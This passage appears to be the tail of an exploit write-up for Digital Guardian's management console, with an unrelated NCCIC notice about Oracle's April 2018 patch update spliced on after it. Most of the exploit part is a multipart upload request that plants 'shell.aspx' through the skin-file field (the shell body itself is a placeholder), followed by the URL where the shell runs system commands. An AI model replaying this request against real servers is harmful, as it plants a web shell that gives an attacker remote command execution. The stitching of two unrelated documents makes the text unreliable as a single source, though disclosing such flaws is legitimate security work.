LTAwMDAtMDAwMDAwMDAwMDA1LDMsMWRkAgEPZBYCAgEPDxYCHwIFDVVzZXIgRGVjaXNpb25kZAICD2QWAgIBDw8WAh8CBVVVc2VyIGlzIHByZXNlbnRlZCB3aXRoIGEgcHJvbXB0IGFuZCBjYW4gZGVjaWRlIHdoZXRoZXIgb3Igbm90IHRvIGNvbnRpbnVlIHRoZSBhY3Rpb24uZGQCAw9kFgICAQ8PFgIfC2hkZAIDD2QWCGYPZBYCAgEPDxYEHwIFEERFRkFVTFQgUEFTU1dPUkQfHAUoMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDA2LDQsMmRkAgEPZBYCAgEPDxYCHwIFCFBhc3N3b3JkZGQCAg9kFgICAQ8PFgIfAgUvVXNlciBpcyBwcmVzZW50ZWQgd2l0aCBhIHByb21wdCBmb3IgYSBwYXNzd29yZC5kZAIDD2QWAgIBDw8WAh8LaGRkAgQPZBYIZg9kFgICAQ8PFgQfAgUaREVGQVVMVCBQQVNTV09SRCBDSEFMTEVOR0UfHAUoMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDA3LDYsMWRkAgEPZBYCAgEPDxYCHwIFElBhc3N3b3JkIENoYWxsZW5nZWRkAgIPZBYCAgEPDxYCHwIFWlVzZXIgaXMgcHJvbXB0ZWQgdG8gZW50ZXIgYSBwYXNzd29yZCB0byBkZWNyeXB0IGEgZmlsZSBlbmNyeXB0ZWQgd2l0aCBwZXJzb25hbCBlbmNyeXB0aW9uLmRkAgMPZBYCAgEPDxYCHwtoZGQCBQ9kFghmD2QWAgIBDw8WBB8CBRVERUZBVUxUIFVTRVIgREVDSVNJT04fHAUoMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDA0LDMsMWRkAgEPZBYCAgEPDxYCHwIFDVVzZXIgRGVjaXNpb25kZAICD2QWAgIBDw8WAh8CBVVVc2VyIGlzIHByZXNlbnRlZCB3aXRoIGEgcHJvbXB0IGFuZCBjYW4gZGVjaWRlIHdoZXRoZXIgb3Igbm90IHRvIGNvbnRpbnVlIHRoZSBhY3Rpb24uZGQCAw9kFgICAQ8PFgIfC2hkZAIGD2QWCGYPZBYCAgEPDxYEHwIFDERFRkFVTFQgV0FSTh8cBSgwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDMsMiwxZGQCAQ9kFgICAQ8PFgIfAgUEV2FybmRkAgIPZBYCAgEPDxYCHwIFOlVzZXIgaXMgcHJlc2VudGVkIHdpdGggYSBwcm9tcHQgYW5kIHRoZSBhY3Rpb24gaXMgYWxsb3dlZC5kZAIDD2QWAgIBDw8WAh8LaGRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYIBSREYXRhR3JpZFNraW5GaWxlczpfY3RsMjpjYlJlbW92ZUZpbGUFJERhdGFHcmlkU2tpbkZpbGVzOl9jdGwzOmNiUmVtb3ZlRmlsZQUkRGF0YUdyaWRTa2luRmlsZXM6X2N0bDQ6Y2JSZW1vdmVGaWxlBSREYXRhR3JpZFNraW5GaWxlczpfY3RsNTpjYlJlbW92ZUZpbGUFJERhdGFHcmlkU2tpbkZpbGVzOl9jdGw2OmNiUmVtb3ZlRmlsZQUkRGF0YUdyaWRTa2luRmlsZXM6X2N0bDc6Y2JSZW1vdmVGaWxlBSREYXRhR3JpZFNraW5GaWxlczpfY3RsODpjYlJlbW92ZUZpbGUFJERhdGFHcmlkU2tpbkZpbGVzOl9jdGw5OmNiUmVtb3ZlRmlsZTIPEztGSjY/B4I5SuEOaPlHs5UU8xJA0iF9kxxkB/vV
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”__VIEWSTATEGENERATOR”

F29601FE
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”txtSkinName:TextBox”

Default Skin
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”ddlDimensionUnits”

0
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”txtWidthPixel:SpinTextBox”

550
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”txtHeightPixel:SpinTextBox”

280
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”txtDescription:TextBox”

Default Skin
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”txtHTML”

<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title></title>
<meta http-equiv=”Content-Type” content=”text/html;charset=UTF-8″ />
<style type=”text/css”>
body{
padding: 0 10px;
margin: 0;
overflow: hidden;
background-color: #1e354B;
}
.message{
text-align: center;
vertical-align: middle;
height: 100%;
width: 100%;
color: #1e354B;
font-family: Ubuntu,Helvetica,sans-serif;
font-size: 16px;
font-weight: bold;
}
</style>
<script type=”text/javascript”>
<!–
// Disable right-click menu.
document.oncontextmenu = function () {
return false;
};
//–>
</script>
</head>
<body>
<div>
<img src=”agents-blue.png” border=”0″ alt=”” />
</div>
<div style=”padding-top:10px;”>
<div style=”padding:10px;margin:0 10px;text-align:center;background-color:#F1F3F4;”>
<table cellspacing=”0″ cellpadding=”0″ border=”0″ align=”center”>
<tr>
<td class=”message”>
<MESSAGE/>
</td>
</tr>
</table>
</div>
</div>
<div style=”position:absolute;bottom:10px;right:20px;”>
<img src=”dg-logo.png” border=”0″ alt=”” />
</div>
</body>
</html>
—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”skinFile”; filename=”shell.aspx”
Content-Type: application/octet-stream

[asp shell code]

—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”btnAddFile”

—————————–7e0127125a1bd0–

URL to execute system commands:

http://[host]/DigitalGuardian/resources/images/SkinFiles/shell.aspx

Contact:
========
pawellgocyla[at]gmail[dot]com

Oracle Releases April 2018 Security Bulletin

Original release date: April 17, 2018

Oracle has released its Critical Patch Update for April 2018 to address 254 vulnerabilities across multiple products. A remote attacker could exploit some of these vulnerabilities to take control of an affected system.

NCCIC encourages users and administrators to review the Oracle April 2018 Critical Patch Update and apply the necessary updates.


This product is provided subject to this Notification and this Privacy & Use policy.